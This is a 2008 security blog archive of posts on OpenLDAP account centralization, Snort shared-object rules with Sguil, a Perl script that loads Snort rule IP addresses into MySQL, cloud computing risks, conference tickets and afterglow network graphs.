From my testing, the password policy overlay is definitely superior to the shadow password options within the nis.schema that comes with OpenLDAP. The biggest problem with the password policy overlay is that some distributions may not include it in the distribution's package for the OpenLDAP server, requiring compiling with support for the overlay instead of a standard OpenLDAP package from your distribution of choice.

Post Script

I have two previous posts about OpenLDAP. I would love to get any comments on what could be added or any mistakes that could be corrected.

Setting up OpenLDAP for centralized accounts
OpenLDAP continued

Shmoocon 2009 tickets

2008-11-01T13:45:00.008-04:00

Tickets for Shmoocon 2009 went on sale at noon EDT today. All the "Early Bird" tickets for $100 went quickly but there are still some "Open Registration" for $175 and "I Love Shmoocon" for $300.

I like the way Shmoocon sells their tickets using three different rounds with three different price points in each round. Here is their chart with dates of sales. Noon is always the start time. Shmoocon itself is February 6 - 8.

Date Tickets to be Sold	Early Bird	Open Registration	I love ShmooCon
November 1, 2008	200	300	10
December 1, 2008	200	300	20
January 1, 2009	100	100	20

One really cool contest I noticed this year is Barcode Shmarcode. The Shmoocon ticket has always been simply a barcode they email to you after you purchase. This year, they want people to modify their barcodes to be unique and awesome while still scanning properly. They'll grade on originality, best use of theme, best use of materials, and most error free scan. I look forward to seeing the results.

Snort shared object rules with Sguil

2008-10-29T16:36:00.004-04:00

More and more Sourcefire VRT Snort rules are being released in the shared object (SO) rules format. As examples, Sourcefire released rules on 14 October that were designed to detect attacks targeting MS08-057, MS08-058, MS08-059, MS08-060, MS08-062, MS08-063 and MS08-065 vulnerabilities. On 23 October, Sourcefire released rules related to MS08-067, a vulnerability that has garnered a lot of attention.

It looks like all these recently released rules are SO rules. It is easy to tell a SO rule from a traditional Snort rule using the Generator ID, because SO rules use GID 3 while the old rule format uses GID 1.

Because Sourcefire is issuing all these rules in SO format, if you don't want to miss rules for recent vulnerabilities it is definitely important to test and implement the new format and keep the rules updated. When I implemented the rules in production, I used How to use shared object rules in Snort by Richard Bejtlich as a guide for adding shared object rules to Snort. It seems fairly complete and I was able to get the precompiled rules working on RHEL/CentOS.

Unfortunately, getting the rules working and updating them is not as simple and certainly not identical to updating rules that use the old format. Oinkmaster will edit the stub files to enable and disable the SO rules, but it requires running Oinkmaster a second time with a separate configuration file. From the Oinkmaster FAQ:

Q34: Can Oinkmaster update the shared object rules (so_rules)?
  
A34: Yes, but you have to run Oinkmaster separately with its own
     configuration file. Copy your regular oinkmaster.conf file
     to oinkmaster-so-rules.conf (or create a new one) and set
     "rules_dir = so_rules". Then run Oinkmaster with
     -C <path tooinkmaster-so-rules.conf> and use an output directory
     (-o <dir>) different than your regular rules directory. This is
     important as the "rules" and "so_rules" directories contains
     files with identical filenames. See the Snort documentation on how
     to use shared object rules. The shared object rules are currently
     disabled by default so you have to use "enablesid" or "modifysid"
     to activate the ones you want to use.

To update my rules, I first download the rules and run Oinkmaster to update my GID 1 rules. Then I extract the so_rules so I can run Snort with the '--dump-dynamic-rules' option. This will generate the required stub files, but they will not contain any changes you made to enable or disable specific rules. To change which are enabled or disabled, I run Oinkmaster again with the oinkmaster-so-rules.conf.

For Sguil to properly show the rule msg in the 'Event Message' column on the client, you must generate a new gen-msg.map file. David Bianco gave me a couple shell commands, one of which uses 'create-sidmap.pl' from the Oinkmaster contrib directory, to update the gen-msg.map file.

create-sidmap.pl ruledir/so_rules | perl -ne 'm/(\d+) \|\| ([^\|]+) \|\|/g; print "3 || $1 || $2\n";' > ruledir/so_rules/gen-msg.map

cat ruledir/gen-msg.map ruledir/so_rules/gen-msg.map | sort -n | uniq > ruledir/so_rules/gen-msg-merged.map

After you check that the new file is correct, it can be moved to overwrite the old gen-msg.map. The alert name will be found based on the GID and SID, so without the update you would only see the numerical GID and SID when viewing alerts in Sguil instead of the actual text of the alert message.

One last thing to do is get the "Show Rule" checkbox in Sguil to show the rule stub when viewing SO rules. A quick temporary fix is fairly simple. Either rename and place all the rule stub files in the directory on your sguild server with all the other rules, or use a symbolic link. Either way, you have to use alternate names since the SO rules stub files use the same naming scheme as the standard rule files.

Once that is done, it just requires a simple change to 'extdata.tcl' in the 'lib' directory of the Sguil client. Change the following line:

 if { $genID != "1" } {

 if { $genID != "1" && $genID != "3" } {

David Bianco pointed out that there is nothing to prevent SO rules and standard rules from sharing a SID since they have a different GID, so the above solution could get the wrong rule message if there are identical SIDs. He said he will probably add code to look in the ruledir for GID 1, and look in ruledir/so_rules for GID 3. This is definitely the better way and not too complicated, so hopefully Sguil CVS will have the code added in the near future.

OpenLDAP continued

2008-10-06T05:30:00.006-04:00

After initially configuring, setting up and testing LDAP, I still had a lot to resolve. Issues included password maintenance, 'sudo' only looking in the local sudoers files, adding a sudoers file to LDAP, setting up groups, replication of the LDAP database, and configuring fail-over.

Passwords
LDAP Groups
sudo
Replication
LDAP Management

The OpenLDAP Administrator's Guides are extensive and useful, so don't forget to refer to the documentation for initial setup and more advanced topics.

Passwords

OpenLDAP has a default schema, nis.schema, that contains definitions for both Posix accounts and shadow accounts. By including the object class 'shadowAccount' when creating users, it allows defining some password requirements in LDAP.

shadowMin: 0
shadowMax: 180
shadowWarning: 14
shadowInactive: 30
shadowExpire: -1

They are mostly self-explanatory and correspond to local 'passwd' or 'chage' options. On my setup, I also was able to make users change passwords on first login. I tried both 'passwd' and 'chage' to do this, but neither recognized the LDAP accounts when used with options to expire passwords. I can only assume that defining the 'shadowAccount' variables caused the behavior requiring an initial password change, because new users were not forced to change passwords prior to defining the shadow variables. I will edit this with updates if I figure out exactly how to require a password change at initial logon when using LDAP accounts.

Changing passwords with OpenLDAP works the same as local accounts. Simply use 'passwd', enter current LDAP password, then the new password.

Although I have various password requirements set using cracklib in /etc/pam.d/system-auth on RHEL, the checks did not seem to be run when changing LDAP user passwords. After reading the manual for pam_cracklib, I saw that some of my settings were not correct. After correcting the settings, pam_cracklib started enforcing my password complexity requirements. Note that pam_cracklib must be configured on each local system even when the passwords are stored in LDAP. Below is an example configuration from the pam_cracklib manual.

 password  required pam_cracklib.so \
                       dcredit=-1 ucredit=-1 ocredit=-1 lcredit=0 minlen=8

OpenLDAP also has a password policy overlay, but it does not appear to include enforcement of password complexity. It will enforce password reuse policy, password expiration, and other similar policies. It is not available in OpenLDAP 2.2, but at least on RHEL5 with OpenLDAP 2.3 the password policy overlay seems to be included as a schema.

LDAP Groups

Just as LDAP allows you to centralize user accounts, you can also use it to centralize groups or add LDAP groups in addition to local groups. As with any bulk additions to LDAP, you can use a ldif file to add the groups. For example, the following could be used to add a group called "analysts" and a group called "sr_analysts". The "Group" OU must exist prior to adding these groups, or you can add the Group OU from the same file as long as it comes before the groups that will be within the OU.

dn: cn=sr_analysts,ou=Group,dc=security,dc=test,dc=com
objectClass: top
objectClass: posixGroup
gidNumber: 1010
cn: sr_analysts
memberUid: nexample
memberUid: nother

dn: cn=analysts,ou=Group,dc=security,dc=test,dc=com
objectClass: top
objectClass: posixGroup
gidNumber: 1011
cn: analysts
memberUid: luser

To add the groups and test:

$ ldapadd -x -D "cn=Manager,dc=security,dc=test,dc=com" -W -f groups.ldif
Enter LDAP Password:
adding new entry "cn=sr_analysts,ou=groups,dc=security,dc=test,dc=com"

adding new entry "cn=analysts,ou=groups,dc=security,dc=test,dc=com"

$ getent group
----- snip -----
sr_analysts:x:1010:nexample,nother
analysts:x:1011:luser

sudo

The version of 'sudo' provided in RHEL/CentOS v4 is not compiled for LDAP, while in RHEL/CentOS v5 the package was built using --with-ldap.

$ ldd $(type -p sudo) | grep ldap
libldap-2.3.so.0 => /usr/lib/libldap-2.3.so.0

Whether you need to compile or build a 'sudo' RPM with LDAP support on RHEL4 may depend on how complex your 'sudoers' needs to be. If you only need to add support for certain people to be in the wheel group then you can easily rely on the standard RHEL/CentOS v4 'sudo' by uncommenting wheel in the local 'sudoers' file and creating the needed LDAP user accounts with gidNumber: 10, which is the default for the wheel group on RHEL. As long as the local system has wheel with GID of 10 then the LDAP account will be seen as a local sudoer on the system. If 'sudo' needs are more complex, it may be worth creating a custom RPM for 'sudo' using --with-ldap. I have not tried this with 'sudo', but I have downloaded RHEL5 source RPMs for other software and successfully built a RPM for RHEL4.

If using LDAP on RHEL5, it definitely makes sense to move the 'sudoers' to LDAP. Since the purpose of groups is to ease system administration by grouping users logically, it makes sense to create a 'sudoers' LDAP container and then allow groups to perform 'sudo' commands rather than adding and removing individual accounts.

Prior to adding 'sudoers' and related information into LDAP, I had to add 'schema.OpenLDAP', which is included with the 'sudo' source, to my schema directory and include it in my 'slapd.conf'. I also renamed it to 'sudo.schema'.

After adding the schema, I used another file from the 'sudo' source, README.LDAP, as an example for creating the following ldif file. I tried using sudoOption: env_keep, but kept getting errors saying the option was not recognized despite the examples I've seen showing its use.

dn: ou=SUDOers,ou=role,dc=security,dc=test,dc=com
objectClass: top
objectClass: organizationalUnit
ou: SUDOers

dn: cn=defaults,ou=SUDOers,ou=role,dc=security,dc=test,dc=com
objectClass: top
objectClass: sudoRole
cn: defaults
description: Default sudo options go here
sudoOption: requiretty
sudoOption: env_reset

dn: cn=analyst_script,ou=SUDOers,ou=role,dc=security,dc=test,dc=com
objectClass: top
objectClass: sudoRole
cn: analyst_script
sudoUser: %analysts
sudoHost: ALL
sudoCommand: /path/to/script
sudoOption: !authenticate

dn: cn=sr_analysts_all,ou=SUDOers,ou=role,dc=security,dc=test,dc=com
objectClass: top
objectClass: sudoRole
cn: sr_wheel
sudoUser: %sr_analysts
sudoHost: ALL
sudoCommand: ALL

Those in the analysts LDAP group will be able to run /path/to/script with no password while those in the sr_analysts group can run all commands but a password is required. As another example, changing sudoUser to '%wheel' would allow all accounts in the 'wheel' group to execute sudoCommand. The 'cn' for the 'sudoRole' does not have to correspond to anything, but it makes sense to name it something that reflects what the role is for.

The percent sign for 'sudoUser' is only used in front of group names, not users, the same syntax as the local 'sudoers' file.

Finally, don't forget to modify /etc/ldap.conf to include sudoers_base and sudoers_debug. Debug can normally be set to '0' but setting it to '2' for troubleshooting is extremely useful. The following shows the output of sudo -l with sudoers_debug 2. It is the result of the wheel group being in both the local and LDAP sudoers.

[nr@ldap ~]$ sudo -l
LDAP Config Summary
===================
host         192.168.1.10
port         389
ldap_version 3
sudoers_base ou=SUDOers,ou=roles,dc=security,dc=test,dc=com
binddn       cn=proxyuser,ou=roles,dc=security,dc=test,dc=com
bindpw       PASSWORD
ssl          start_tls
===================
ldap_set_option(LDAP_OPT_X_TLS_REQUIRE_CERT,0x00)
ldap_init(192.168.1.10,389)
ldap_set_option(LDAP_OPT_PROTOCOL_VERSION,0x03)
ldap_start_tls_s() ok
ldap_bind() ok
found:cn=defaults,ou=SUDOers,ou=roles,dc=security,dc=test,dc=com
ldap sudoOption: 'requiretty'
ldap sudoOption: 'env_reset'
ldap search '(|(sudoUser=nr)(sudoUser=%wheel)(sudoUser=%wheel)(sudoUser=%sr_analysts)(sudoUser=ALL))'
found:cn=analyst_script,ou=SUDOers,ou=roles,dc=security,dc=test,dc=com
ldap sudoHost 'ALL' ... MATCH!
found:cn=sr_analysts_all,ou=SUDOers,ou=roles,dc=security,dc=test,dc=com
ldap sudoHost 'ALL' ... MATCH!
ldap search 'sudoUser=+*'
user_matches=-1
host_matches=-1
sudo_ldap_check(50)=0x02
Password:
User nr may run the following commands on this host:
(ALL) ALL

LDAP Role: sr_analysts_all
Commands:
ALL

Also note that the OpenLDAP Administrator's Guide has an overlay for dynamic lists, which includes the functions available in the deprecated dynamic groups overlay.

Replication

Replication and fail-over are both relatively simple to configure on the OpenLDAP server. Replication either uses 'slurpd' or 'Syncrepl', depending on the OpenLDAP version. For replication with 'slurpd', the replogfile , replica host or replica uri, binddn, bindmethod, and credentials variables need to be set in slapd.conf. Because a 'binddn' and password ('credentials') need to be used for replication, the binddn and password also have to be added to LDAP before replication will work.

Once the primary server is prepared, slapd needs to be stopped or set to read-only so the existing OpenLDAP database files can be manually copied over to the server receiving the replications. Configuration files on the receiving server also need to be edited, though I was able to just copy my 'slapd.conf' and schemas. The only changes needed to 'slapd.conf' were to remove all the replication directives and replace them with the 'updatedn' that was identical to the replication 'binddn' on the primary server. I also had to make sure that 'binddn' was allowed 'write' so it could add the replicated data. If not, you will get Error: insufficent access when trying to replicate.

Once the configuration files and database files are copied to the secondary server, 'slapd' needs to be (re)started on both systems. Then 'slurpd' needs to be started so it can periodically check the log file for changes that can be pushed. On RHEL, the 'ldap' init script handles stops, starts, and restarts for both 'slapd' and 'slurpd' at the same time rather than having separate scripts, so service ldap restart would restart both daemons.

For failover, the LDAP clients' host variable can have a list of hosts separated by spaces, and bind_timelimit is used to determine when the client fails over to the next server. If the first server is unreachable, the client will go on to the next one in the list of hosts.

LDAP Management

Although using LDIF files is fine at first, managing LDAP entries can become a chore from the command line. The 'sudo' README has a few recommendations that I quote below.

Doing a one-time bulk load of your ldap entries is fine.  However what if you
need to make minor changes on a daily basis?  It doesn't make sense to delete
and re-add objects.  (You can, but this is tedious).

I recommend using any of the following LDAP browsers to administer your SUDOers.
* GQ - The gentleman's LDAP client - Open Source - I use this a lot on Linux
and since it is Schema aware, I don't need to create a sudoRole template.
http://biot.com/gq/

* LDAP Browser/Editor - by Jarek Gawor - I use this a lot on Windows
and Solaris.  It runs anywhere in a Java Virtual Machine including
web pages.  You have to make a template from an existing sudoRole entry.
http://www.iit.edu/~gawojar/ldap
http://www.mcs.anl.gov/~gawor/ldap
http://ldapmanager.com

* Apache Directory Studio - Open Source - an Eclipse-based LDAP
development platform.  Includes an LDAP browser, and LDIF editor,
a schema editor and more.
http://directory.apache.org/studio

There are dozens of others, some Open Source, some free, some not.

Setting up OpenLDAP for centralized accounts

2008-09-19T05:13:00.025-04:00

I recently decided to move to centralized account management on some RHEL systems. There are a number of ways to do this, including NIS, kerberos, Active Directory, LDAP, or some combination thereof. Ease of configuration, administrative overhead, and security were the top priorities. I chose LDAP because it is relatively simple and has some support for authentication, encryption, and password hashing. There are definitely security issues, but I plan a separate post to specifically address LDAP security.

This document:

Server configuration
Client configuration
Testing, using and modifying LDAP
TLS
Administrivia

External resources:

Server configuration

First, I install the needed software on the server. Use yum for RHEL/CentOS v5 and up2date for v4. Once the software was installed, I generated a hashed password for LDAP's root user. There are a number of hashing schemes to choose from in the 'slappasswd' manual.

# yum install openldap-servers openldap-clients openldap
# cd /etc/openldap/
# slappasswd

After typing in the password twice, you'll get a hash that should be pasted into /etc/openldap/slapd.conf, along with some other edits.

suffix "dc=security,dc=test,dc=com"
rootdn "cn=Manager,dc=security,dc=test,dc=com"
rootpw {SSHA}hashed_password

The default access control policy of allowing anonymous reads with Manager getting write access will need to be changed. Users need write access to their own passwords for 'passwd' to work, anonymous users should only be able to authenticate, and I will let authenticated users read everything but passwords. There are some problems with the default and example configurations in the slapd.conf comments. The following is what I used to enforce saner settings. The rootdn always has write access to everything. I will update if needed since I am still playing with OpenLDAP's access controls.

access to attrs=userpassword
by anonymous auth
by self write
by * none

access to *
by self read
by users read
by anonymous auth

Once the basic server configuration is done, I start the LDAP daemon.

service ldap start

Client configuration

yum install authconfig openldap-clients nss_ldap

Configuring the client is somewhat confusing because Red Hat and many other distributions have two ldap.conf files. The one needed by nss_ldap is in /etc and OpenLDAP's client configuration file is in /etc/openldap.

I edited /etc/ldap.conf and /etc/openldap/ldap.conf for host, base, and the binddn and bindpw of proxyuser. proxyuser will be used for read access by nss_ldap since anonymous reads are disallowed. I also added Manager as rootbinddn, which requires creating /etc/ldap.secret with the plain text password, owned by root, and chmod 600. Both ldap.conf files need to be chmod 644.

OpenLDAP's client configuration file is much smaller and only needs a few changes. Most of the settings are the same though I did notice the TLS directives are different.

Next, I ran 'authconfig' or 'authconfig-tui' to edit /etc/pam.d/system-auth. From the menu, I selected to use LDAP Authentication and use LDAP for user information. Enabling LDAP Authentication will make local accounts unusable when LDAP is down! The server and base can be set here or manually edited in a ldap.conf file. 'authconfig' will edit /etc/nsswitch.conf to add ldap.

passwd:     files ldap
shadow:     files ldap
group:      files ldap

Testing, using and modifying LDAP

Note that it is easier to test first using the default slapd.conf access controls that allows anonymous users to read rather than the controls above that I am testing. The below search is performed without authenticating.

# ldapsearch -x -b '' -s base '(objectclass=*)' namingContexts
# extended LDIF
#
# LDAPv3
# base <> with scope base
# filter: (objectclass=*)
# requesting: namingContexts

#
dn:
namingContexts: dc=security,dc=test,dc=com

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Now that it's working, I need to create an ldif (LDAP Data Interchange Format) file that will hold information to be put into LDAP. It includes a proxy user account that will have read access to LDAP using a password. You can use slappasswd to generate hashes for the password fields in the ldif. Note that my test user in the below LDIF is in the wheel group.

dn: dc=security,dc=test,dc=com
objectclass: top
objectclass: organization
objectclass: dcObject
o: NR Test Group
dc: security

dn: ou=groups,dc=security,dc=test,dc=com
objectclass: organizationalUnit
ou: groups

dn: ou=people,dc=security,dc=test,dc=com
objectclass: organizationalUnit
ou: people

dn: ou=role,dc=security,dc=test,dc=com
objectclass: organizationalUnit
ou: role

dn: cn=proxyuser,ou=role,dc=security,dc=test,dc=com
cn: proxyuser
objectclass: top
objectclass: person
objectclass: posixAccount
objectclass: shadowAccount
uid: proxyuser
uidNumber: 1001
gidNumber: 100
homeDirectory: /home
loginShell: /sbin/nologin
userpassword: don't use plain text
sn: proxyuser
description: Account for read-only access

dn: cn=N R,dc=security,dc=test,dc=com
cn: N R
objectclass: top
objectclass: person
objectclass: posixAccount
objectclass: shadowAccount
uid: nr
uidNumber: 1002
gidNumber: 10
homeDirectory: /home/nr
loginShell: /bin/bash
userpassword: don't use plain text
sn: R

To load the information from the file into LDAP. Add '-ZZ' to issue StartTLS from any of the ldap* commands:

ldapadd -x -ZZ -D "cn=Manager,dc=security,dc=test,dc=com" -W -f ldapinfo.ldif

If there are errors, they should give a hint about the reason. Once the command succeeded, I did a search to display all the information.

ldapsearch -x -ZZ -D "cn=Manager,dc=security,dc=test,dc=com" -W -b "dc=security,dc=test,dc=com"

You can also specify search terms.

ldapsearch -x -ZZ -D "cn=Manager,dc=security,dc=test,dc=com" -W -b "dc=security,dc=test,dc=com" "cn=proxyus*" uidNumber
Enter LDAP Password:
# extended LDIF
#
# LDAPv3
# base  with scope sub
# filter: cn=proxyu*
# requesting: uidNumber

# proxyuser, role, security.test.com
dn: cn=proxyuser,ou=role,dc=security,dc=test,dc=com
uidNumber: 1001

# search result
search: 3
result: 0 Success

# numResponses: 2
# numEntries: 1

Once the clients are configured with LDAP and working properly, creating an account in LDAP will allow that account to SSH to all systems functioning as LDAP clients. Before trying to authenticate to systems other than the LDAP server, I setup TLS.

TLS

Right now, without any encryption, password hashes and a ton of other information would be streaming through the network if I was not using a local client. To check, I ran 'tcpdump' on the loopback and searched LDAP again.

tcpdump -v -i lo -X -s 0

The results of the search could clearly be seen in the traffic as shown from the following snippet (with the hash removed).

LoginShell1..    /bin/bash08..userPassword1(.&{SSHA}

The process for configuring TLS is addressed in Red Hat's FAQ. For /etc/openldap/slapd.conf I used the following:

TLSCertificateFile /etc/pki/tls/certs/slapd.pem
TLSCertificateKeyFile /etc/pki/tls/certs/slapd.pem

If not requiring certificate checks because of self-signing, /etc/openldap/ldap.conf will need TLS_REQCERT allow and according to the comments /etc/ldap.conf is set to default of tls_checkpeer no. I still needed to explicitly set tls_checkpeer no to fix a problem with sudo not finding the uid in the passwd file. Both client configuration files need ssl start_tls entries.

Administrivia

There are other things to consider when using LDAP accounts to login with SSH. For instance, I edited /etc/pam.d/sshd to have user home directories created when users log in the first time with SSH on a particular system:

#%PAM-1.0
auth       required     pam_stack.so service=system-auth
auth       required     pam_nologin.so
account    required     pam_stack.so service=system-auth
password   required     pam_stack.so service=system-auth
session    required     pam_stack.so service=system-auth
session    required     pam_mkhomedir.so skel=/etc/skel/ umask=0077
session    required     pam_loginuid.so

For this to work, you will also need to have UsePAM yes in your sshd_config. On RHEL, you can tell if you are getting errors related to PAM not being enabled in sshd_config.

# tail -n 1 /var/log/secure
Sep 18 17:11:58 slapd sshd[24274]: fatal: PAM: pam_open_session(): Module is unknown

At one point in the process, I was getting an error at login:

id: cannot find name for user ID 1002
[I have no name!@slapd ~]$

To fix this, I checked the permissions of /etc/ldap.conf and also made sure the proxyuser was working properly. Without LDAP read permissions, the user name can't be mapped to the user ID. Since I am denying anonymous reads, I have to make sure proxyuser is set up properly.

You may need to modify iptables rules to allow linux systems to connect on 389. Using TLS will not change the port by default.

There is a Red Hat FAQ about getting sudo to work with LDAP. It will not necessarily work out of the box with LDAP users and groups.

Grass is green, sky is blue, news at 11

2008-09-12T20:22:00.004-04:00

Study: Hotel Networks Put Corporate Users at Risk. You think?

Is it any surprise that most hotels use unencrypted or weak encryption for wireless? Is it any surprise that a substantial number still use hubs instead of switched networks?

It would surprise me more if hotels consistently worried about security for their guests' networks. If only 21 percent of hotels had reports of "wrongdoing" on their guest networks, that means the percentage of guests that report attacks is actually much lower. There is little financial incentive for the hotels to upgrade hardware and configure networks to prevent malicious activity. Most road warriors are more worried about convenience than security.

I bet encryption on hotel wireless networks causes more complaints than unencrypted wireless.

My take on cloud computing

2008-09-09T21:03:00.007-04:00

I heard an interesting story about Google's Chrome browser on NPR's Morning Edition for 09 September. While it was billed as a review of Chrome, the first question asked by host Renee Montagne to commentator Mario Armstrong was how Google planned to make money with a browser. This led to some discussion of the browser becoming the computer, part of what is sometimes known as cloud computing.

The first way noted by Mr. Armstrong to make money on a free browser was of course through advertising. The holy grail of advertising these days seems to be targeted ads. For example, search terms, cookies, browser history and email contents can provide a lot of context to be used for targeting ads. This type of information can certainly be used for unintended purposes, not just targeting ads or selling anonymized user data.

The second answer on how to make money from a browser, more significant from a security perspective, was to build a customer base in anticipation of services moving to the cloud. Cloud computing and security has been discussed quite a bit by others [Examples: 1,2,3,4]. Mr. Armstrong went on to discuss three important facets of a browser, particularly in relation to cloud computing. To paraphrase from the NPR story:

Speed - If you are going to move applications to the cloud, the browser better be fast enough to compare with a local application.
Stability - No matter if an application is in the cloud or local, users and developers don't like their applications to crash. If the application runs in a browser, the browser needs to be stable.
Security - Moving applications to the cloud obviously means that you're moving data through and to the cloud, dramatically changing a number of security implications.

My take on moving applications to the cloud is that it is useful but over-hyped, just like lots of "next generation" technology. There are just too many drawbacks for most of us to move all our applications to the cloud. I don't think it's likely that the browser or the cloud will ever become the computer, just like the computer will never be disassociated from the cloud.

Regardless of whether you buy into the hype, cloud security is an issue because users will make decisions on their own. Google's applications are an excellent example. Their search, calendar, documents, and more have potential to put sensitive company or personal information in the cloud. Google documents makes it so easy to share documents with my coworkers! Google Desktop makes it so easy to find and keep track of my files! What do you mean we already have a way to do that? What do you mean we aren't allowed to store those documents on the Internet?

Just to make sure I'm not singling out Google, another instance of cloud computing is Amazon's Elastic Compute Cloud (EC2), which basically allows you to build a virtual machine in Amazon's cloud and then pay for processor time. EC2 is a great example of cloud computing allowing flexibility and computing power without breaking the bank. You can run any number of "small" to "High-CPU very large" instances, scaling resources as needed and starting at only $0.10 per hour per instance!

This scenario was mentioned by someone else, but consider the security implications of putting information in Amazon's cloud, for instance using EC2 to crack a Windows SAM during a security assessment. Sure, you could easily come up with an accurate quote for the EC2 computing time to crack a SAM, but it would be important to disclose the use of EC2 to the customer. If you're using Amazon's processing capability, how are you going to make sure the data stays secure as it floats somewhere in their cloud? How many new avenues of attack have you introduced by using cloud computing? Is it even possible to quantify these risks with the amount of information you have about their cloud?

There are security issues with cloud computing even if the data is not explicitly sensitive like a Windows SAM. Data to be crunched? Video to be rendered? Documents to be stored? Is your data worth money? Who will protect the data and how?

Cloud computing is here in varying degrees depending on your organization, but using it means giving up some amounts of control over your data. Whether the convenience of the cloud is worth it is definitely a risk versus reward issue, and a lot of the risk depends on the sensitivity of the data.

Edit: InfoWorld posted an article about government concerns with cloud computing, particularly who owns data that is stored in the cloud, whether law enforcement should have a lower threshold for gaining access to data in the cloud, and whether government should embrace cloud computing for its needs.

Modified: Pulling IP addresses from Snort rules

2008-09-05T22:03:00.001-04:00

This is a modification of another script I wrote to pull IP addresses from Snort rules. Since the last time I posted it, I added support for multiple rules files and also automatically insert the IP addresses into the database. After that, I can run a query to compare the IP addresses with sancp data to see what systems connected or attempted connections to the suspicious hosts.

I think this version will only work with MySQL 5.x, not 4.x, because of the section that adds the IP addresses to the database. In the older versions, the IP addresses had to be added manually. Note that the table used for the $tablename variable is not part of the Sguil database schema and must be created before running the script. Make sure not to use a table that is part of the Sguil DB schema because this script deletes all data from the table!

The script is fairly slow since it expands CIDR blocks to individual IP addresses and then puts them in the database one by one. If anyone has ideas for a more efficient method, I'd love to hear it, but since I'm using Sguil I need to be able to compare the suspicious IP addresses with individual IP addresses in the Sguil sancp table.

#
# Script to pull IP address from Snort rules file
# by nr
# 2007-08-30
# 2007-09-14 Added CIDR expansion
# 2007-12-19 Added support for multiple rule files
# 2008-05-22 Added MySQL support to insert and convert IPs

use strict;
use Mysql;

my $dir = "/nsm/rules"; # rules directory
my @rulefile = qw( emerging-compromised.rules emerging-rbn.rules );
my @rule; # unprocessed rules

foreach my $rulefile(@rulefile) {
    # Open file to read
    die "Can't open rulefile.\n" unless open RULEFILE, "<", "$dir/$rulefile";
    chomp(@rule = (@rule,<RULEFILE>)); # put each rules into array
    close RULEFILE; # close current rule file
}

# Open mysql connection
my $host = "localhost";
my $database = "sguildb";
my $tablename = "suspicious_hosts";
my $colname = "dst_ip";
my $user = "sguil";
my $pw = "PASSWORD";

# perl mysql connect()
my $sql_connect = Mysql->connect($host, $database, $user, $pw);

# clear out old IP addresses first
my $sql_delete = "DELETE FROM $tablename";
my $execute = $sql_connect->query($sql_delete) or die "$!";

# For each rule
foreach my $rule (@rule) {
    # Match only rules with IP addresses so we don't get comments etc
    # This string match does not check for validity of IP addresses
    if ( $rule =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ) {
        $rule =~ s/.*\[//g; # Remove [ character and before
        $rule =~ s/\].*//g; # Remove ] character and after
        # Split the remaining data using the commas
        # and put it into ip_address array
        my @ip_address = split /\,/, $rule;

        # For each IP address in array
        foreach my $ip_address (@ip_address) {

            # Match on slash
            if ( $ip_address =~ /.*\/.*/ ) {

                # Expand CIDR to all IP addresses in range modified from
                # http://www.perlmonks.org/?displaytype=print;node_id=190497
                use NetAddr::IP;
                my $newip = new NetAddr::IP($ip_address);

                # While less than broadcast address
                while ( $newip < $newip->broadcast) {
                    # Strip trailing slash and netmask from IP
                    my $temp_ip = $newip;
                    $temp_ip =~ s/\/.*//g;
                    # sql statement to insert IP
                    my $sql_statement = "INSERT INTO $tablename SET $colname = INET_ATON('$temp_ip')";
                    # execute statement
                    my $execute = $sql_connect->query($sql_statement); # Run statement
                    $newip ++; # Increment to next IP
                }
            }
            # For non-CIDR, simply print IP
            else {
                # sql statement to insert IP
                my $sql_statement = "INSERT INTO $tablename SET $colname = INET_ATON('$ip_address')";
                # execute statement. maybe make this a function or otherwise clean
                # since it is repeated inside the if
                my $execute = $sql_connect->query($sql_statement); # Run statement
            }
        }
    }
}

To search for connections or attempted connections to the suspicious IP addresses, you could use a query like the following. Obviously, the query should change based on criteria like the the ports that interest you, time of activity, protocol, etc.

SELECT sancp.sid,INET_NTOA(sancp.src_ip),sancp.src_port,INET_NTOA(sancp.dst_ip),sancp.dst_port, \
sancp.start_time FROM sancp INNER JOIN suspicious_hosts ON (sancp.dst_ip = suspicious_hosts.dst_ip) WHERE \
sancp.start_time >= DATE_SUB(UTC_DATE(),INTERVAL 24 HOUR) AND sancp.dst_port = '80';

Snort DNS preprocessor

2008-08-29T19:38:00.004-04:00

Scott Campbell of NERSC posted to the snort-devel mailing list today about his DNS preprocessor that is designed to detect DNS cache poisoning and DNS fast flux. His write-up on both features looks interesting and I hope to play with the preprocessor on my lab setup. Note that he recommends not running this in production because it is an early beta.

For full details check his write-up, but the following quotes explain that the preprocessor is checking three basic conditions for DNS cache poisoning:

Multiple responses to a query where the DNS server IP and query name match, but the transaction ID varies.
Multiple responses to a query where the DNS server IP, query name and transaction ID match.
Unexpected responses where there is no observed question.

The explanation of fast flux detection is a little more involved, and he also mentions that it will detect sites that are designed to behave in a similar way as fast flux, for example ntp.pool.org and chat.freenode.net.

If I get the chance to play with the preprocessor, I will definitely document my experience.

July Dailydave

2008-08-02T17:34:00.004-04:00

The Dailydave mailing list was full of interesting and fun posts during the month of July. The "Immunity Certified Network Offense Professional" thread and all the threads about Dan Kaminsky's DNS cache poisoning were interesting. That said, the cache poisoning has certainly not been under-analyzed and I'm happy to read about other topics at this point.

Using afterglow to make pretty pictures

2008-06-16T19:28:00.033-04:00

I recently had a need to visualize some network connections and thought there were probably plenty of existing tools to draw me a picture based on data in a CSV file since Sguil can export query results to a CSV. MySQL can also output to a CSV file, so the following could be scripted even more easily on a sguild server than a client. The client requires more manual steps, but I decided to try it that way first.

C.S. Lee recommended trying afterglow. Looking at his blog, I saw that he had a short write-up on afterglow. I followed similar steps to install everything that was needed.

$ sudo apt-get install libgraphviz-perl libtext-csv-perl
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
graphviz libio-pty-perl libipc-run-perl
libparse-recdescent-perl
libversion-perl libxml-twig-perl
Suggested packages:
graphviz-doc msttcorefonts libunicode-map8-perl
libunicode-string-perl
xml-twig-tools
Recommended packages:
libtie-ixhash-perl libxml-xpath-perl
The following NEW packages will be installed:
graphviz libgraphviz-perl libio-pty-perl libipc-run-perl
libparse-recdescent-perl libversion-perl libxml-twig-perl
libtext-csv-perl

Next, I downloaded the afterglow source and extracted it.

$ tar xvzf afterglow-1.5.9.tar.gz

For these examples, I connected to the Sguil demo server and exported one sancp query result. Afterglow expects three columns, which include the source IP, destination IP, and destination port. This is where running queries on the sguild server could make more sense since I could just select src_ip, dst_ip and dst_port and write the results to a CSV file. With results from the Sguil client, I have to take the CSV and remove everything but the desired columns.

